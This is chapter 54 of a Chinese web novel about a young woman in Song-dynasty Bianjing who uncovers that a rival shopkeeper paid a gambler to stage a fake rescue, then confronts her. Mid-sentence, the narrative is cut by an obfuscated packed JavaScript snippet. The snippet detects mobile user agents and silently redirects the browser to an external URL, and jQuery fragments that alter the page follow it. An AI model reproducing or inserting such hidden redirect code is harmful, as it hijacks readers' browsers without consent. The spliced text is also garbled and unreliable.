54. 第五十四章
作品:《汴京暴富日常》 “陈掌柜,你说的这些……我听得云里雾里的。”
徐竹筱往后退了半步,像是被陈梨娘那狂热的眼神吓着了,“什么品牌,什么连锁的,听着怪吓人的。”
陈梨娘脸上的笑容僵住了:“吓人?这可是赚大钱的好法子!只要你点头——”
“不行不行。”徐竹筱把头摇成了拨浪鼓,两只手紧紧抱着账本,像是生怕被人抢了去,“我爹说了,咱们家就是小本生意,有多大碗吃多少饭。那铺子开大了,是非就多。我们家无权无势的,若是太招摇,怕是护不住这产业。”
她做出一副听话乖女儿的模样,语气诚恳又坚决:“陈掌柜的一番好意我心领了,但这事儿,家里肯定不会答应的。我也不敢自作主张。”
陈梨娘像是被人兜头泼了一盆冷水。
她满心以为只要抛出这个超前的商业概念,这小丫头定会像见到神仙一样对自己顶礼膜拜,乖乖把钱送上来,毕竟自己的现代思维多远远领先他们。
没想到,竟是个烂泥扶不上墙的。
“护不住?”陈梨娘心里冷笑。
借口。全是借口。
这分明就是看不起自己,不想让自己沾手这赚钱的买卖。也是,人家现在是少东家,自己不过是个快倒闭的小掌柜,人家哪里看得上?
什么不敢自作主张,不过是想独吞这块肥肉罢了。
陈梨娘心里那个气啊,像是被人塞了一团湿棉花,堵得慌。
但她毕竟在社会上摸爬滚打过,那点城府还是有的。
“既然妹子有顾虑,那姐姐也不强求了。”
陈梨娘脸上的笑意虽然还在,却已经不达眼底,皮肉扯动着,显出几分僵硬,“看来是姐姐没这个发财的命,咱们缘分没到。”
“陈掌柜若是没别的事,我就先回去了,回见。”
看着徐竹筱带着丫鬟远去的背影,陈梨娘脸上的笑容垮了下来。
她狠狠啐了一口。
“什么东西!”
“守着金山当乞丐,早晚有你哭的时候!不带我玩是吧?行,咱们走着瞧!”
徐竹筱走在路上,想到陈梨娘刚刚的表情,心里就有些不舒服。
回到家中,徐竹筱一屁股坐在藤椅上,不想动弹。
“姑娘,晚饭备什么?”知画端着茶盏过来,见她脸色不好,声音放轻了几分。
徐竹筱摆摆手,平日里提到吃就两眼放光的劲头也没了。
“不想动烟火气。你去路口的明记酒楼,打包几个菜回来。要一份老鸭汤,多放笋干,再来个醋溜白菜,还要个红烧狮子头,若是那还有鲜鱼,就再蒸一条。点心要那个……桂花糖藕,外加一笼蟹黄包。”
知画一一记下,见姑娘虽然不想做饭,但点菜的条理还在,想来没什么大碍,便领了银钱出门去了。
晚饭摆上桌时,天已经擦黑。
屋内点了灯,昏黄的光晕染在饭菜上,腾起的热气看着就暖和。
只是徐竹筱吃着实在是觉得没什么滋味。
鲜是鲜,就是这笋干有些老了,嚼在嘴里发柴。
沈竹安并没有急着动筷子,他拿着勺子,轻轻撇去汤面上的浮油,目光却一直落在徐竹筱脸上。
她今日很不对劲。
平日里若是有了好吃的,这丫头早就眉飞色舞地给他讲这道菜的火候、那道菜的佐料,可今天,她却是无精打采的,就连吃饭速度也比平时慢了不少。
等着吃完饭,苏棠和徐青山回了正屋,徐竹卿懒得看这俩人那腻歪劲儿,也回了自己屋。
“筱娘。”
沈竹安放下勺子,声音温润,“今日可是遇到了什么不顺心的事?”
徐竹筱回过神,咬着筷子尖,抬眼撞进他那双澄澈的眸子里。
灯下看美人,越看越好看。
“倒也不是什么大事。”
沈竹安没打断她,只是静静地听着。
“前几日我和杏儿被人尾随那事儿,你还记得吧?”徐竹筱皱了皱鼻子,“那个陈掌柜,陈梨娘,当时冲出来救了我们。按理说,我该感激涕零,把她当恩人供着。”
“可是?”沈竹安敏锐地接过了话头。
“可是今日我去她铺子里……”徐竹筱把今日陈梨娘拉着她要搞加盟、言语间那种高高在上的优越感,还有自己装傻充愣把人怼回去的事儿,一股脑都说了。
说到最后,她有些犹豫,“还有那日救人……太巧了。那巷子偏僻,她一个做卤味的掌柜,不在铺子里守着,跑到那犄角旮旯做什么?而且那大汉也太配合了,就像是……像是演给人看的一样。”
沈竹安眉头微不可察地蹙了起来。
徐竹筱见他这副模样,心里咯噔一下:“我是不是把人想得太坏了?”
“不。”
沈竹安抬起头,平日里的温润散去几分,眼底多了些清冷的寒意,“这世上,巧合多半是人为。若是真如你所言,这陈掌柜所图不小。”
他重新拿起筷子,夹了一块最嫩的鱼腹肉放到徐竹筱碗里,“先吃饭。那大汉若是真的存在,必然有迹可循。只要是人,就不可能凭空消失。”
徐竹筱看着碗里的鱼肉,心里莫名安稳了。
“那大汉长什么样,你可还记得?”沈竹安问得随意。
“记得。”徐竹筱回忆了一下,“虽然没看清脸,但身形魁梧,左手手背上有块黑记,看着像是一块烧伤的疤。穿着一身灰布短打,脚上那双草鞋……后跟磨损得很厉害。”
沈竹安点了点头,没再多问。
吃过饭,沈竹安并没有急着看书,而是换了身不起眼的衣裳,出了门。
夜色如墨,汴京城的夜市依旧热闹,但他没往人多的地方去,而是拐进了几条昏暗的巷弄。
那是牙行“耳目人”聚集的地方。
这些人三教九流无所不通,只要给钱,就没有他们不知道的消息。
沈竹安找到熟识的中间人,也没废话,直接放了一张一贯的交子。
那中间人看了眼交子,牙齿一龇,露出一口黄牙:“郎君放心,只要这人在汴京城喘气儿,不出五日,必定给您把底裤都扒出来。”
沈竹安沉默了一下,倒也不用这么仔细。
日子晃晃悠悠过了四五天。
这几日,徐竹筱也没再去陈梨娘那儿,专心在家里琢磨新菜式。
倒是陈梨娘,也没再找上门,估计是还在气头上,觉得徐竹筱是个烂泥扶不上墙的阿斗。
第五日傍晚,沈竹安收到了消息,过来找徐竹筱。
“那人叫冯三,是个赌鬼。平日里就在城隍庙那一带混,只要给钱,什么脏活累活都接。”
徐竹筱接过纸条,上面只写了个地址。
“你怎么确定的?”徐竹筱有些惊讶。
“给了点钱。”沈竹安轻描淡写,“他前些日子刚在赌坊输了个精光,突然手里多了点钱,还在酒肆里吹嘘自己演了一出好戏,主雇给了几百贯。”
徐竹筱磨了磨后槽牙。
“走。”徐竹筱把纸条一攥,站起身来,“找他去。”
沈竹安没拦着,只是默默地跟在她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121961|193160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身后。
城隍庙附近的破落巷子里,冯三正翘着二郎腿,嘴里叼着根狗尾巴草,哼着跑调的小曲儿。
前些日子那活儿真轻松,就跑两步,吼两嗓子,几百文钱就到手了。
那小娘们儿看着精明,实际上也是个蠢的,这种手段也信。
正想着,眼前突然投下一片阴影。
冯三一抬头,就看见一男一女站在自己面前。
男的一身书卷气,看着好欺负,女的娇娇俏俏,也没什么威胁,不过有点眼熟。
“干什么?挡着爷晒太阳了!”冯三不耐烦地挥挥手。
沈竹安没说话,只是偏过头,示意身后的小厮。
小厮上前一步,从怀里掏出一串铜钱,在手里晃了晃。
铜钱撞击的清脆声响,让冯三的眼睛瞬间直了。
“五百文。”
沈竹安开口,声音清冷,“把那日你在巷子里做的事,再说一遍。”
冯三眼珠子骨碌一转,立马坐直了身子,贪婪地盯着那串钱:“什么巷子?我不记得了。除非……”他搓了搓手指。
沈竹安沉着脸:“你若是不说,那这五百文你也没有。”
“说!我说!”冯三生怕那银子飞了,“就是那个卖卤鸭的陈掌柜!她给了我三百文,让我在巷口堵两个姑娘,假装要动手动脚,然后她冲出来把我赶走。就这么简单!”
果然。
徐竹筱心里的火腾地一下就上来了。
把自己当猴耍呢?
“跟我们走一趟,去陈家铺子那儿。当着她的面,把这话再说一遍。事成之后,我再给你五百文。”
冯三接住银子,笑得嘴都要咧到耳后根去了:“好嘞!姑奶奶您说什么就是什么!别说对峙,就是让我管她叫娘都行!”
一行人往陈梨娘的铺子去。
此时虽然不是饭点,但别的铺子多少有些客人,唯独陈梨娘这儿,门可罗雀。
那招牌上的“陈记”两个字,被风吹得有些歪斜,看着灰扑扑的。
陈梨娘正坐在柜台后面发愁。
为了搞那个什么“锅包肉”,她把仅剩的流动资金都砸进去了。
买肉、买油、还要试错。
这年头的猪肉腥味重,处理不好根本没法吃,她试了好多次,浪费了不少材料。
现在,手里是一个子儿都没有了。
要是再没生意,她就可以关门了。
正想着,门口光线一暗。
陈梨娘一抬头,见是徐竹筱,脸上立马堆起了那副职业假笑:“哟,这不是徐家妹妹吗?怎么,想通了?我就说嘛,这赚钱的好事……”
话还没说完,她就看见了徐竹筱身后的沈竹安,以及……那个一脸无赖相的冯三。
陈梨娘脸上的笑容僵在半空,像是被浆糊糊住了一样,滑稽又可笑。
“陈掌柜,别来无恙啊。”
徐竹筱走进店里,没找椅子坐,就那么站着,居高临下地看着陈梨娘,“这位壮士,陈掌柜应该不陌生吧?”
陈梨娘心里慌得一批,面上却强装镇定:“什……什么壮士?我不认识。妹妹你这是带人来砸场子的?”
“砸场子?我可没那个闲工夫。”
徐竹筱侧过身,把冯三露出来,“冯三,你也别藏着掖着了,跟咱们陈掌柜叙叙旧。”
冯三收了钱,自然卖力。
他往前一步,嬉皮笑脸地冲陈梨娘拱了拱手:“陈掌柜,您这记性可不好。前几日您给小的三百文钱,让小的去巷子口演戏,您忘了?”

